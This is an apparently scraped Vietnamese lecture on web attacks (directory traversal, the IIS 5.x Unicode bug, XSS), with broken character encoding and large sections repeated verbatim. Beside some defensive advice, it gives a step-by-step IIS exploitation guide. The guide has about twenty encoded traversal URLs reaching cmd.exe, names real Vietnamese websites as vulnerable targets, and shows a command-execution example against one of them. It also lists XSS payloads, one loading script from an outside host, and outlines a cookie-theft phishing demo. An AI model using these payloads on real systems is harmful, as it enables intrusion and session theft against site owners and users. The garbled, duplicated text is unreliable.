Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
